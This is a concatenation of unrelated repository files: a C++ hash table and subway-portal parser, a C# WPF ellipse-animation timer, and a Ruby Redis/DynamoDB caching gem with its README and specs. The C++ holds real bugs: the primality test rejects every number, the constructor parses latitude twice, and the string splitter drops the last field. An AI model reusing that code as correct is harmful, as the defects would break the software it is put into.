Description : Defines an item type that can be used in the project
Purpose : To define the item type to be hashed
Usage :
Build with :
Modifications :
******************************************************************************/
#include <string>
#include <iostream>
#include "_hash_item.h"
__ItemType::__ItemType() {
name = "";
position = -1;
}
void __ItemType::set(std::string s, int pos) {
name = s;
position = pos;
}
void __ItemType::get(std::string& s, int& pos) {
s = name;
pos = position;
}
int __ItemType::get_pos() const {
return position;
}
bool __ItemType::operator==(__ItemType rhs) const {
return rhs.name != "" && name == rhs.name;
}
//Credit to Stewart weiss
unsigned int encode (const int RADIX, const std::string& s) {
unsigned int hashval = 0;
for (size_t i = 0; i < s.length(); ++i)
hashval = s[i] + RADIX * hashval; //p(x) = s_i + x(q(x))
return hashval;
}
unsigned int __ItemType::code() {
if (name != "")
return encode(26, name);
else
return 0;
}
std::ostream& operator<<(std::ostream& os, __ItemType item) {
os << "name: " << item.name << " position: " << item.position << "\n";
return os;
}
<file_sep>/Makefile
# A Sample Makefile
SRCS = $(wildcard *.cpp)
OBJS := $(patsubst %.cpp, %.o, $(SRCS))
EXEC := project2
CXX := g++-9
CXXFLAGS += -Wall -g -std=c++11
LDFLAGS := -image_base %s -pagezero_size 1000400000
$(EXEC): $(OBJS) new_main.o
$(CXX) $(CXXFLAGS) $(LDFLAGS) -o $@ $(OBJS) new_main.o
.PHONY: clean cleanall
cleanall: clean
$(RM) $(EXEC)
clean:
$(RM) $(OBJS)
<file_sep>/hash_table.cpp
#include <vector>
#include <iostream>
#include "hash_table.h"
#include "_hash_item.h"
HashTable::HashTable() : current_size(0) {
hash_table.resize(INITIAL_SIZE);
for (size_t i = 0; i < hash_table.size(); ++i) {
__ItemType temp;
data_t t = { EMPTY, temp };
hash_table[i] = t;
}
}
HashTable::HashTable(int init_size) : current_size(0) {
hash_table.resize(get_next_prime(init_size));
for (size_t i = 0; i < hash_table.size(); ++i) {
__ItemType temp;
data_t t { EMPTY, temp };
hash_table[i] = t;
}
}
int HashTable::find_position(__ItemType& item) const {
int collision_num = 0;
size_t current_pos = item.code() % hash_table.size();
while (hash_table[current_pos].state != EMPTY && !(hash_table[current_pos].item == item)) {
current_pos += 2 * ++collision_num - 1;
if (current_pos >= hash_table.size())
current_pos -= hash_table.size();
}
//either the item was found or it encountered a cell with an EMPTY state
return current_pos;
}
int HashTable::insert(__ItemType item) {
int current_pos = find_position(item);
if (hash_table[current_pos].state == ACTIVE)
return 0;
data_t t = {ACTIVE, item};
hash_table[current_pos] = t;
++current_size;
if (current_size > hash_table.size() / 2)
rehash();
return 1;
}
int HashTable::find(__ItemType& item) const {
int current_pos = find_position(item);
return hash_table[current_pos].state == ACTIVE ? 1 : 0;
}
int HashTable::find( std::string s ) const {
__ItemType temp;
temp.set(s);
int current_pos = find_position( temp );
return hash_table[current_pos].state == ACTIVE ? hash_table[ current_pos ].item.get_pos() : -1;
}
int HashTable::remove(__ItemType item) {
int current_pos = find_position(item);
if (hash_table[current_pos].state == ACTIVE) {
hash_table[current_pos].state = DELETED;
--current_size;
return 1;
} else
return 0;
}
int HashTable::size() const {
return current_size;
}
int HashTable::listall (std::ostream& os) const {
int num = 0;
for (size_t i = 0; i < hash_table.size(); ++i) {
if (hash_table[i].state == ACTIVE) {
os << "item: "<< hash_table[i].item << " key: " << i << "\n";
num++;
}
}
return num;
}
//very ineffeicent primality testing
bool is_prime(int n) {
for (int i = 2; i < n * n; ++i)
if (n % i == 0)
return false;
return true;
}
int HashTable::get_next_prime(int n) {
int start = n + 1;
while (true) {
if (is_prime(start))
return start;
start++;
}
}
void HashTable::rehash() {
int new_size = get_next_prime(2 * hash_table.size());
std::vector<data_t> new_hash_table;
new_hash_table.resize(new_size);
for (auto& element : hash_table) {
if (element.state == ACTIVE) {
int current_pos = find_position(element.item);
data_t t = {ACTIVE, element.item};
new_hash_table[current_pos] = t;
}
}
hash_table = new_hash_table;
}
<file_sep>/subway_portal.cpp
/******************************************************************************
Title : subway_portal.cpp
Author : <NAME>
Created on : April 29, 2018
Description : Implementation file for the SubwayPortal object
Purpose : Encapsulates data and methods of a subway portal
Usage :
Build with : c++11
Modifications :
******************************************************************************/
#include <string>
#include <vector>
#include <cctype>
#include <iostream>
#include "subway_portal.h"
#include "subway_route.h"
typedef std::vector<std::string> string_array;
SubwayPortal::SubwayPortal() : p_name(""), division(""), line(""), station_name(""),
station_latitude(0), station_longitude(0), p_routes(0),
entrance_type(""), entry(true), exit_only(false), vending(false),
staffing(""), staff_hours(""), ada(false), ada_notes(""),
free_crossover(false), north_south_street(""),
east_west_street(""), corner(""), id(1), entrance_latitude(0),
entrance_longitude(0), station_location({0,0}),
entrance_location({0,0}) { }
SubwayPortal::SubwayPortal(const SubwayPortal& other) :
p_name(other.p_name),
division(other.division),
station_name(other.station_name),
station_latitude(other.station_latitude),
station_longitude(other.station_longitude),
p_routes(other.p_routes),
entrance_type(other.entrance_type),
entry(other.entry),
exit_only(other.exit_only),
vending(other.vending),
staffing(other.staffing),
staff_hours(other.staff_hours),
ada(other.ada),
ada_notes(other.ada_notes),
free_crossover(other.free_crossover),
north_south_street(other.north_south_street),
east_west_street(other.east_west_street),
corner(other.corner),
id(other.id),
entrance_latitude(other.entrance_latitude),
entrance_longitude(other.entrance_longitude) { }
SubwayPortal::SubwayPortal(SubwayPortal&& other) noexcept :
p_name(other.p_name),
division(other.division),
station_name(other.station_name),
station_latitude(other.station_latitude),
station_longitude(other.station_longitude),
p_routes(other.p_routes),
entrance_type(other.entrance_type),
entry(other.entry),
exit_only(other.exit_only),
vending(other.vending),
staffing(other.staffing),
staff_hours(other.staff_hours),
ada(other.ada),
ada_notes(other.ada_notes),
free_crossover(other.free_crossover),
north_south_street(other.north_south_street),
east_west_street(other.east_west_street),
corner(other.corner),
id(other.id),
entrance_latitude(other.entrance_latitude),
entrance_longitude(other.entrance_longitude) { }
SubwayPortal& SubwayPortal::operator=(const SubwayPortal& other) {
p_name = other.p_name;
division = other.division;
station_name = other.station_name;
station_latitude = other.station_latitude;
station_longitude = other.station_longitude;
p_routes = other.p_routes;
entrance_type = other.entrance_type;
entry = other.entry;
exit_only = other.exit_only;
vending = other.vending;
staffing = other.staffing;
staff_hours = other.staff_hours;
ada = other.ada;
ada_notes = other.ada_notes;
free_crossover = other.free_crossover;
north_south_street = other.north_south_street;
east_west_street = other.east_west_street;
corner = other.corner;
id = other.id;
entrance_latitude = other.entrance_latitude;
entrance_longitude = other. entrance_longitude;
return *this;
}
SubwayPortal& SubwayPortal::operator=(SubwayPortal&& other) noexcept {
p_name = other.p_name;
division = other.division;
station_name = other.station_name;
station_latitude = other.station_latitude;
station_longitude = other.station_longitude;
p_routes = other.p_routes;
entrance_type = other.entrance_type;
entry = other.entry;
exit_only = other.exit_only;
vending = other.vending;
staffing = other.staffing;
staff_hours = other.staff_hours;
ada = other.ada;
ada_notes = other.ada_notes;
free_crossover = other.free_crossover;
north_south_street = other.north_south_street;
east_west_street = other.east_west_street;
corner = other.corner;
id = other.id;
entrance_latitude = other.entrance_latitude;
entrance_longitude = other. entrance_longitude;
return *this;
}
//splits a string on a specified
string_array split( std::string s, char delimiter = ',' ) {
string_array string_vector;
std::string current_string = "";
for ( size_t i = 0; i < s.size(); ++i ) {
if (s[i] != delimiter) {
current_string += s[i];
} else {
string_vector.push_back(current_string);
current_string = "";
}
}
return string_vector;
}
//removes excessive whitespace in string
//e.g. "hello world!" -> "hello world!"
std::string munch_whitespace(std::string s) {
std::string result = "";
for (size_t i = 0; i < s.size(); ++i) {
if (isspace(s[i])) {
result += " ";
++i;
while (isspace(s[i])) ++i;
--i;
} else
result += s[i];
}
return result;
}
SubwayPortal::SubwayPortal( std::string data_row ) {
string_array data_vector = split(data_row);
division = data_vector[0];
line = data_vector[1];
station_name = data_vector[2];
station_latitude = std::stod(data_vector[3]);
station_latitude = std::stod(data_vector[4]);
p_routes = 0;
//sets the relevant bits
//least significant bit is 1 - train
//35th lesat significant bit (or 29th most significant bit) is z train
for ( int i = 5; i < 16; ++i ) {
if ( data_vector[i] != "" ) {
int k = routestring2int(data_vector[i]);
p_routes = p_routes | (1 << (k - 1));
}
}
entrance_type = data_vector[16];
entry = (data_vector[17] == "YES");
exit_only = (data_vector[18] == "YES");
vending = (data_vector[19] == "YES");
staffing = data_vector[20];
staff_hours = data_vector[21];
ada = (data_vector[22] == "TRUE");
ada_notes = data_vector[23];
free_crossover = (data_vector[24] == "TRUE");
north_south_street = data_vector[25];
east_west_street = data_vector[26];
corner = data_vector[27];
id = std::stoi(data_vector[28]);
entrance_latitude = std::stod(data_vector[29]);
entrance_longitude = std::stod(data_vector[30]);
station_location = GPS( station_longitude, station_latitude );
entrance_location = GPS( entrance_longitude, entrance_latitude );
p_name = munch_whitespace(north_south_street + "," + east_west_street + "," + corner + "," + to_string(id));
}
double SubwayPortal::distance_from( double latitude, double longitude ) {
return distance_between(entrance_location, GPS(longitude,latitude));
}
std::string SubwayPortal::name() const {
return p_name;
}
bool SubwayPortal::can_access( route_set route ) const {
return (p_routes & route) != 0;
}
GPS SubwayPortal::p_location() const {
return entrance_location;
}
GPS SubwayPortal::s_location() const {
return station_location;
}
route_set SubwayPortal::routes() const {
return p_routes;
}
double distance_between( SubwayPortal p1, SubwayPortal p2 ) {
return p1.distance_from( p2.entrance_latitude, p2.entrance_longitude );
}
bool same_routes( SubwayPortal p1, SubwayPortal p2 ) {
return p1.p_routes == p2.p_routes;
}
bool same_station( SubwayPortal p1, SubwayPortal p2 ) {
return p1.station_name == p2.station_name;
}
std::ostream& operator<< ( std::ostream& out, SubwayPortal e ) {
out << e.entrance_location;
return out;
} | 96a4a664fa7be0669b09a024660322b669926bed | [
"Makefile",
"C++"
] | 11 | C++ | AjaniStewart/project_2 | 3ad9c117e7ecfb72f287ffb7110e7ef41164bb35 | a8d8a40f40330f702ca74884a61845449ad67288 |
refs/heads/master | <file_sep>Пример простейшей анимации эллипса при помощи таймера
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
using System.Windows.Threading;
namespace EllipseTimerAnimation
{
/// <summary>
/// Логика взаимодействия для MainWindow.xaml
/// </summary>
public partial class MainWindow : Window
{
private DispatcherTimer t = new DispatcherTimer();
private double time = 0;
public MainWindow()
{
InitializeComponent();
t.Tick += new EventHandler(OnTimer);
t.Interval = new TimeSpan(0,0,0,0,50);
t.Start();
}
void OnTimer(object sender, EventArgs e)
{
time = time + 0.1;
double nu = 2 * Math.PI / 3;
Polyline pl = (Polyline)this.FindName("pln");
Ellipse el = (Ellipse)this.FindName("elps");
Canvas cnv = (Canvas)FindName("cnv");
double ch = cnv.ActualHeight;
double cw = cnv.ActualWidth;
pl.Points.Add(new Point(40 * time, ch / 2.0 + ch/4 * Math.Sin(nu * time)));
//pl.Points.Add(new Point( (cw / 2.0 + 150.0 * Math.Cos(nu * time))*time/100, (ch / 2.0 + 150.0 * Math.Sin(nu * time))*time/100));
Canvas.SetLeft(el, pl.Points.Last().X-el.Width/2.0);
Canvas.SetTop(el, pl.Points.Last().Y-el.Height/2.0);
if (time > 19) t.Stop();
}
}
}
| 51f253d4a1c25263ad861946a64066b9c1baed9d | [
"Markdown",
"C#"
] | 2 | Markdown | justjune/EllipseTimerAnimation | 73821b000d8e98c8feb999daab763f011849f193 | fedc2d9ea982df5a4dbedd943daf6e5e2e5df092 |
refs/heads/master | <file_sep>require 'aws-sdk-core'
require 'fluent-logger'
require 'msgpack'
require 'redis'
require 'redis-namespace'
require 'set'
require 'stringio'
require 'redy/redy'
require 'redy/version'
<file_sep># Redy
Redy is DynamoDB client to cache data in Redis.
It depends on [fluent-plugin-dynamodb-alt](https://github.com/winebarrel/fluent-plugin-dynamodb-alt).
## Architecture
### Write

### Read

### Redis down

## Benefit
* High availability. There is no significant impact Redis is down.
* Speed. You can quickly access the object because it is cached in Redis.
* Capacity. large capacity at a cheap price ([$205 / 120GB r:100 w:100 / month](http://calculator.s3.amazonaws.com/index.html))
## Usage
```ruby
redy = Redy.new(
redis: {namespace: 'redy', host: 'example.com', port: 7777, expire_after: 86400, negative_cache_ttl: 300},
fluent: {tag: 'dynamodb.test', host: 'localhost', port: 24224, redis_error_tag: 'redis.error'},
dynamodb: {table_name: 'my_table', timestamp_key: 'timestamp', access_key_id: '...', secret_access_key: '...', region: 'us-east-1', delete_key: 'delete'})
redy.set('foo', {'bar' => 100, 'zoo' => 'baz'}, :async => true)
p redy.get('foo') #=> {'bar' => 100, 'zoo' => 'baz'}
redy.delete('foo')
redy.set('bar', 100, :expire_after => 5)
p redy.get('bar') #=> 100
```
## Fluentd configuration
See [fluent-plugin-dynamodb-alt](https://github.com/winebarrel/fluent-plugin-dynamodb-alt).
```
<match dynamodb.**>
type dynamodb_alt
aws_key_id AKIAIOSFODNN7EXAMPLE
aws_sec_key <KEY>
region ap-northeast-1
table_name my_table
timestamp_key timestamp
binary_keys data
delete_key delete
expected id NULL,timestamp LE ${timestamp}
conditional_operator OR
flush_interval 1s
</match>
```
## Test
```sh
brew install redis
npm install -g dynalite
bundle install
bundle exec rake
```
## Limitation
* Use [MessagePack](http://msgpack.org/) to serialize. (You can not save complex objects)
* The maximum recode data size is [64KB](http://docs.aws.amazon.com/amazondynamodb/latest/developerguide/Limits.html). (There is improvement plan)
<file_sep>describe Redy do
context 'set to redis/dynamodb and get from redis' do
subject { redy }
it do
subject.set('foo', 100, :async => true)
subject.set('bar', 'STR', :async => true)
subject.set('zoo', [1, '2', 3], :async => true)
subject.set('baz', {'num' => 200, 'str' => 'XXX'}, :async => true)
expect(subject.get('foo')).to eq 100
expect(subject.get('bar')).to eq 'STR'
expect(subject.get('zoo')).to eq [1, '2', 3]
expect(subject.get('baz')).to eq({'num' => 200, 'str' => 'XXX'})
expect(redis_select_all).to eq({
"redy:foo" => 100,
"redy:bar" => 'STR',
"redy:zoo" => [1, '2', 3],
"redy:baz" => {'num' => 200, 'str' => 'XXX'},
})
wait_for_fluentd_flush
expect(dynamodb_select_all).to match_array [
{"id" => "foo", "timestamp" => TEST_TIMESTAMP, "data" => 100},
{"id" => "bar", "timestamp" => TEST_TIMESTAMP, "data" => 'STR'},
{"id" => "zoo", "timestamp" => TEST_TIMESTAMP, "data" => [1, '2', 3]},
{"id" => "baz", "timestamp" => TEST_TIMESTAMP, "data" => {'num' => 200, 'str' => 'XXX'}},
]
end
end
context 'set to redis/dynamodb and get from redis (with expire_after)' do
subject do
redy do |options|
options[:redis][:expire_after] = 1
end
end
it do
subject.set('foo', 100, :async => true)
subject.set('bar', 'STR', :async => true)
subject.set('zoo', [1, '2', 3], :async => true)
subject.set('baz', {'num' => 200, 'str' => 'XXX'}, :async => true)
expect(subject.get('foo')).to eq 100
expect(subject.get('bar')).to eq 'STR'
expect(subject.get('zoo')).to eq [1, '2', 3]
expect(subject.get('baz')).to eq({'num' => 200, 'str' => 'XXX'})
sleep 5
expect(redis_select_all).to eq({})
wait_for_fluentd_flush
expect(dynamodb_select_all).to match_array [
{"id" => "foo", "timestamp" => TEST_TIMESTAMP, "data" => 100},
{"id" => "bar", "timestamp" => TEST_TIMESTAMP, "data" => 'STR'},
{"id" => "zoo", "timestamp" => TEST_TIMESTAMP, "data" => [1, '2', 3]},
{"id" => "baz", "timestamp" => TEST_TIMESTAMP, "data" => {'num' => 200, 'str' => 'XXX'}},
]
end
end
context 'set to redis/dynamodb and get from dynamodb' do
subject { redy }
it do
subject.set('foo', 100, :async => true)
subject.set('bar', 'STR', :async => true)
subject.set('zoo', [1, '2', 3], :async => true)
subject.set('baz', {'num' => 200, 'str' => 'XXX'}, :async => true)
subject.set('hoge', 'FUGA', :async => true)
redis_truncate
expect(redis_select_all).to eq({})
wait_for_fluentd_flush
expect(dynamodb_select_all).to match_array [
{"id" => "foo", "timestamp" => TEST_TIMESTAMP, "data" => 100},
{"id" => "bar", "timestamp" => TEST_TIMESTAMP, "data" => 'STR'},
{"id" => "zoo", "timestamp" => TEST_TIMESTAMP, "data" => [1, '2', 3]},
{"id" => "baz", "timestamp" => TEST_TIMESTAMP, "data" => {'num' => 200, 'str' => 'XXX'}},
{"id" => "hoge", "timestamp" => TEST_TIMESTAMP, "data" => 'FUGA'},
]
expect(subject.get('foo')).to eq 100
expect(subject.get('bar')).to eq 'STR'
expect(subject.get('zoo')).to eq [1, '2', 3]
expect(subject.get('baz')).to eq({'num' => 200, 'str' => 'XXX'})
# cache to redis
expect(redis_select_all).to eq({
"redy:foo" => 100,
"redy:bar" => 'STR',
"redy:zoo" => [1, '2', 3],
"redy:baz" => {'num' => 200, 'str' => 'XXX'},
})
end
end
context 'redis donw' do
subject do
redy do |options|
options[:logger] = nil
options[:redis].update(
:host => '240.0.0.0',
:timeout => 0.1)
end
end
before do
restart_fluentd(:flush_interval => 600)
end
after do
restart_fluentd
end
it do
subject.set('foo', 100, :async => true)
subject.set('bar', 'STR', :async => true)
subject.set('zoo', [1, '2', 3], :async => true)
subject.set('baz', {'num' => 200, 'str' => 'XXX'}, :async => true)
expect(redis_select_all).to eq({})
expect(dynamodb_select_all).to match_array [
{"id" => "foo", "timestamp" => TEST_TIMESTAMP, "data" => 100},
{"id" => "bar", "timestamp" => TEST_TIMESTAMP, "data" => 'STR'},
{"id" => "zoo", "timestamp" => TEST_TIMESTAMP, "data" => [1, '2', 3]},
{"id" => "baz", "timestamp" => TEST_TIMESTAMP, "data" => {'num' => 200, 'str' => 'XXX'}},
]
expect(subject.get('foo')).to eq 100
expect(subject.get('bar')).to eq 'STR'
expect(subject.get('zoo')).to eq [1, '2', 3]
expect(subject.get('baz')).to eq({'num' => 200, 'str' => 'XXX'})
end
end
context 'dynamodb down' do
subject { redy }
before do
allow(subject.instance_variable_get(:@fluent)).to receive(:post)
expect(subject.instance_variable_get(:@dynamodb)).not_to receive(:put_item)
end
it do
subject.set('foo', 100, :async => true)
subject.set('bar', 'STR', :async => true)
subject.set('zoo', [1, '2', 3], :async => true)
subject.set('baz', {'num' => 200, 'str' => 'XXX'}, :async => true)
expect(subject.get('foo')).to eq 100
expect(subject.get('bar')).to eq 'STR'
expect(subject.get('zoo')).to eq [1, '2', 3]
expect(subject.get('baz')).to eq({'num' => 200, 'str' => 'XXX'})
expect(redis_select_all).to eq({
"redy:foo" => 100,
"redy:bar" => 'STR',
"redy:zoo" => [1, '2', 3],
"redy:baz" => {'num' => 200, 'str' => 'XXX'},
})
wait_for_fluentd_flush
expect(dynamodb_select_all).to match_array []
end
end
context 'with extra' do
subject { redy }
it do
subject.set('foo', 100, :extra => {'extra_key1' => 1, 'extra_key2' => ['2', '3']}, :async => true)
subject.set('bar', 'STR', :extra => {'extra_key1' => 11, 'extra_key2' => [22, 33]}, :async => true)
subject.set('zoo', [1, '2', 3], :extra => {'extra_key1' => 111, 'extra_key2' => ['222', '333']}, :async => true)
subject.set('baz', {'num' => 200, 'str' => 'XXX'}, :extra => {'extra_key1' => 1111, 'extra_key2' => [2222, 3333]}, :async => true)
expect(subject.get('foo')).to eq 100
expect(subject.get('bar')).to eq 'STR'
expect(subject.get('zoo')).to eq [1, '2', 3]
expect(subject.get('baz')).to eq({'num' => 200, 'str' => 'XXX'})
expect(redis_select_all).to eq({
"redy:foo" => 100,
"redy:bar" => 'STR',
"redy:zoo" => [1, '2', 3],
"redy:baz" => {'num' => 200, 'str' => 'XXX'},
})
wait_for_fluentd_flush
rows = dynamodb_select_all.map do |row|
row['extra_key2'].sort!
row
end
expect(rows).to match_array [
{"id" => "foo", "timestamp" => TEST_TIMESTAMP, "data" => 100, 'extra_key1' => 1, 'extra_key2' => ['2', '3']},
{"id" => "bar", "timestamp" => TEST_TIMESTAMP, "data" => 'STR', 'extra_key1' => 11, 'extra_key2' => [22, 33]},
{"id" => "zoo", "timestamp" => TEST_TIMESTAMP, "data" => [1, '2', 3], 'extra_key1' => 111, 'extra_key2' => ['222', '333']},
{"id" => "baz", "timestamp" => TEST_TIMESTAMP, "data" => {'num' => 200, 'str' => 'XXX'}, 'extra_key1' => 1111, 'extra_key2' => [2222, 3333]},
]
end
end
context 'with extra (redis donw)' do
subject do
redy do |options|
options[:logger] = nil
options[:redis].update(
:host => '240.0.0.0',
:timeout => 0.1)
end
end
before do
restart_fluentd(:flush_interval => 600)
end
after do
restart_fluentd
end
it do
subject.set('foo', 100, :extra => {'extra_key1' => 1, 'extra_key2' => ['2', '3']}, :async => true)
subject.set('bar', 'STR', :extra => {'extra_key1' => 11, 'extra_key2' => [22, 33]}, :async => true)
subject.set('zoo', [1, '2', 3], :extra => {'extra_key1' => 111, 'extra_key2' => ['222', '333']}, :async => true)
subject.set('baz', {'num' => 200, 'str' => 'XXX'}, :extra => {'extra_key1' => 1111, 'extra_key2' => [2222, 3333]}, :async => true)
expect(subject.get('foo')).to eq 100
expect(subject.get('bar')).to eq 'STR'
expect(subject.get('zoo')).to eq [1, '2', 3]
expect(subject.get('baz')).to eq({'num' => 200, 'str' => 'XXX'})
expect(redis_select_all).to eq({})
rows = dynamodb_select_all.map do |row|
row['extra_key2'].sort!
row
end
expect(rows).to match_array [
{"id" => "foo", "timestamp" => TEST_TIMESTAMP, "data" => 100, 'extra_key1' => 1, 'extra_key2' => ['2', '3']},
{"id" => "bar", "timestamp" => TEST_TIMESTAMP, "data" => 'STR', 'extra_key1' => 11, 'extra_key2' => [22, 33]},
{"id" => "zoo", "timestamp" => TEST_TIMESTAMP, "data" => [1, '2', 3], 'extra_key1' => 111, 'extra_key2' => ['222', '333']},
{"id" => "baz", "timestamp" => TEST_TIMESTAMP, "data" => {'num' => 200, 'str' => 'XXX'}, 'extra_key1' => 1111, 'extra_key2' => [2222, 3333]},
]
end
end
context 'redis donw with error_tag' do
subject do
redy do |options|
options[:logger] = nil
options[:redis].update(
:host => '240.0.0.0',
:timeout => 0.1)
options[:fluent][:redis_error_tag] = 'redis.error'
end
end
before do
restart_fluentd(:flush_interval => 600)
fluent = subject.instance_variable_get(:@fluent)
expect(fluent).to receive(:post).with("dynamodb.test", {"id"=>"foo", "timestamp"=>1409839004901404, "data"=>MessagePack.pack(100)})
expect(fluent).to receive(:post).with("redis.error", {"id"=>"foo", "timestamp"=>1409839004901404, "data"=>MessagePack.pack(100)})
expect(fluent).to receive(:post).with("dynamodb.test", {"id"=>"bar", "timestamp"=>1409839004901404, "data"=>MessagePack.pack("STR")})
expect(fluent).to receive(:post).with("redis.error", {"id"=>"bar", "timestamp"=>1409839004901404, "data"=>MessagePack.pack("STR")})
expect(fluent).to receive(:post).with("dynamodb.test", {"id"=>"zoo", "timestamp"=>1409839004901404, "data"=>MessagePack.pack([1, '2', 3])})
expect(fluent).to receive(:post).with("redis.error", {"id"=>"zoo", "timestamp"=>1409839004901404, "data"=>MessagePack.pack([1, '2', 3])})
expect(fluent).to receive(:post).with("dynamodb.test", {"id"=>"baz", "timestamp"=>1409839004901404, "data"=>MessagePack.pack({'num' => 200, 'str' => 'XXX'})})
expect(fluent).to receive(:post).with("redis.error", {"id"=>"baz", "timestamp"=>1409839004901404, "data"=>MessagePack.pack({'num' => 200, 'str' => 'XXX'})})
end
after do
restart_fluentd
end
it do
subject.set('foo', 100, :async => true)
subject.set('bar', 'STR', :async => true)
subject.set('zoo', [1, '2', 3], :async => true)
subject.set('baz', {'num' => 200, 'str' => 'XXX'}, :async => true)
expect(redis_select_all).to eq({})
expect(dynamodb_select_all).to match_array [
{"id" => "foo", "timestamp" => TEST_TIMESTAMP, "data" => 100},
{"id" => "bar", "timestamp" => TEST_TIMESTAMP, "data" => 'STR'},
{"id" => "zoo", "timestamp" => TEST_TIMESTAMP, "data" => [1, '2', 3]},
{"id" => "baz", "timestamp" => TEST_TIMESTAMP, "data" => {'num' => 200, 'str' => 'XXX'}},
]
expect(subject.get('foo')).to eq 100
expect(subject.get('bar')).to eq 'STR'
expect(subject.get('zoo')).to eq [1, '2', 3]
expect(subject.get('baz')).to eq({'num' => 200, 'str' => 'XXX'})
end
end
context 'redis up with error_tag' do
subject do
redy do |options|
options[:fluent][:redis_error_tag] = 'redis.error'
end
end
before do
fluent = subject.instance_variable_get(:@fluent)
expect(fluent).to receive(:post).with("dynamodb.test", {"id"=>"foo", "timestamp"=>1409839004901404, "data"=>MessagePack.pack(100)})
expect(fluent).not_to receive(:post).with("redis.error", {"id"=>"foo", "timestamp"=>1409839004901404, "data"=>MessagePack.pack(100)})
expect(fluent).to receive(:post).with("dynamodb.test", {"id"=>"bar", "timestamp"=>1409839004901404, "data"=>MessagePack.pack("STR")})
expect(fluent).not_to receive(:post).with("redis.error", {"id"=>"bar", "timestamp"=>1409839004901404, "data"=>MessagePack.pack("STR")})
expect(fluent).to receive(:post).with("dynamodb.test", {"id"=>"zoo", "timestamp"=>1409839004901404, "data"=>MessagePack.pack([1, '2', 3])})
expect(fluent).not_to receive(:post).with("redis.error", {"id"=>"zoo", "timestamp"=>1409839004901404, "data"=>MessagePack.pack([1, '2', 3])})
expect(fluent).to receive(:post).with("dynamodb.test", {"id"=>"baz", "timestamp"=>1409839004901404, "data"=>MessagePack.pack({'num' => 200, 'str' => 'XXX'})})
expect(fluent).not_to receive(:post).with("redis.error", {"id"=>"baz", "timestamp"=>1409839004901404, "data"=>MessagePack.pack({'num' => 200, 'str' => 'XXX'})})
end
it do
subject.set('foo', 100, :async => true)
subject.set('bar', 'STR', :async => true)
subject.set('zoo', [1, '2', 3], :async => true)
subject.set('baz', {'num' => 200, 'str' => 'XXX'}, :async => true)
expect(redis_select_all).to eq({
"redy:foo" => 100,
"redy:bar" => 'STR',
"redy:zoo" => [1, '2', 3],
"redy:baz" => {'num' => 200, 'str' => 'XXX'},
})
end
end
context 'set negative cache' do
subject { redy }
before do
fluent = subject.instance_variable_get(:@fluent)
allow(fluent).to receive(:post)
end
it do
expect(subject.get('foo')).to be_nil
expect(redis_select_all).to eq({
"redy:foo" => '',
})
expect(subject).not_to receive(:get_dynamodb)
expect(subject.get('foo')).to be_nil
end
end
context 'disable negative cache' do
subject do
redy do |options|
options[:redis][:negative_cache_ttl] = 0
end
end
before do
fluent = subject.instance_variable_get(:@fluent)
allow(fluent).to receive(:post)
end
it do
expect(subject.get('foo')).to be_nil
expect(redis_select_all).to eq({})
end
end
context 'stub redis' do
subject do
redy do |options|
options[:redis].update(
:stub => true,
:host => '240.0.0.0',
:timeout => 0.1)
end
end
before do
expect(subject.instance_variable_get(:@logger)).not_to receive(:warn)
end
it do
subject.set('foo', 100, :async => true)
expect(subject.get('foo')).to be_nil
expect(redis_select_all).to eq({})
wait_for_fluentd_flush
expect(dynamodb_select_all).to match_array [
{"id"=>"foo", "timestamp"=>1409839004901404, "data"=>100}
]
end
end
context 'stub dynamodb' do
subject do
redy do |options|
options[:logger] = nil
options[:redis].update(
:host => '240.0.0.0',
:timeout => 0.1)
options[:dynamodb][:stub] = true
end
end
before do
restart_fluentd(:flush_interval => 600)
end
after do
restart_fluentd
end
it do
subject.set('foo', 100, :async => true)
expect(subject.get('foo')).to be_nil
expect(redis_select_all).to eq({})
wait_for_fluentd_flush
expect(dynamodb_select_all).to match_array []
end
end
context 'stub fluentd' do
subject do
redy do |options|
options[:fluent][:stub] = true
end
end
before do
expect(subject.instance_variable_get(:@logger)).not_to receive(:warn)
end
it do
subject.set('foo', 100, :async => true)
expect(subject.get('foo')).to eq 100
expect(redis_select_all).to eq({
"redy:foo" => 100,
})
wait_for_fluentd_flush
expect(dynamodb_select_all).to match_array []
end
end
context 'delete (1)' do
subject { redy }
it do
subject.set('foo', 100, :async => true)
subject.set('bar', 'STR', :async => true)
subject.set('zoo', [1, '2', 3], :async => true)
subject.set('baz', {'num' => 200, 'str' => 'XXX'}, :async => true)
expect(subject.get('foo')).to eq 100
expect(subject.get('bar')).to eq 'STR'
expect(subject.get('zoo')).to eq [1, '2', 3]
expect(subject.get('baz')).to eq({'num' => 200, 'str' => 'XXX'})
expect(redis_select_all).to eq({
"redy:foo" => 100,
"redy:bar" => 'STR',
"redy:zoo" => [1, '2', 3],
"redy:baz" => {'num' => 200, 'str' => 'XXX'},
})
wait_for_fluentd_flush
expect(dynamodb_select_all).to match_array [
{"id" => "foo", "timestamp" => TEST_TIMESTAMP, "data" => 100},
{"id" => "bar", "timestamp" => TEST_TIMESTAMP, "data" => 'STR'},
{"id" => "zoo", "timestamp" => TEST_TIMESTAMP, "data" => [1, '2', 3]},
{"id" => "baz", "timestamp" => TEST_TIMESTAMP, "data" => {'num' => 200, 'str' => 'XXX'}},
]
subject.set('foo', nil, :delete => true, :async => true)
wait_for_fluentd_flush
expect(redis_select_all).to eq({
"redy:foo" => '',
"redy:bar" => 'STR',
"redy:zoo" => [1, '2', 3],
"redy:baz" => {'num' => 200, 'str' => 'XXX'},
})
expect(subject.get('foo')).to be_nil
expect(subject.get('bar')).to eq 'STR'
expect(subject.get('zoo')).to eq [1, '2', 3]
expect(subject.get('baz')).to eq({'num' => 200, 'str' => 'XXX'})
expect(dynamodb_select_all).to match_array [
{"id" => "bar", "timestamp" => TEST_TIMESTAMP, "data" => 'STR'},
{"id" => "zoo", "timestamp" => TEST_TIMESTAMP, "data" => [1, '2', 3]},
{"id" => "baz", "timestamp" => TEST_TIMESTAMP, "data" => {'num' => 200, 'str' => 'XXX'}},
]
end
end
context 'delete (2)' do
subject { redy }
it do
subject.set('foo', 100, :async => true)
subject.set('bar', 'STR', :async => true)
subject.set('zoo', [1, '2', 3], :async => true)
subject.set('baz', {'num' => 200, 'str' => 'XXX'}, :async => true)
expect(subject.get('foo')).to eq 100
expect(subject.get('bar')).to eq 'STR'
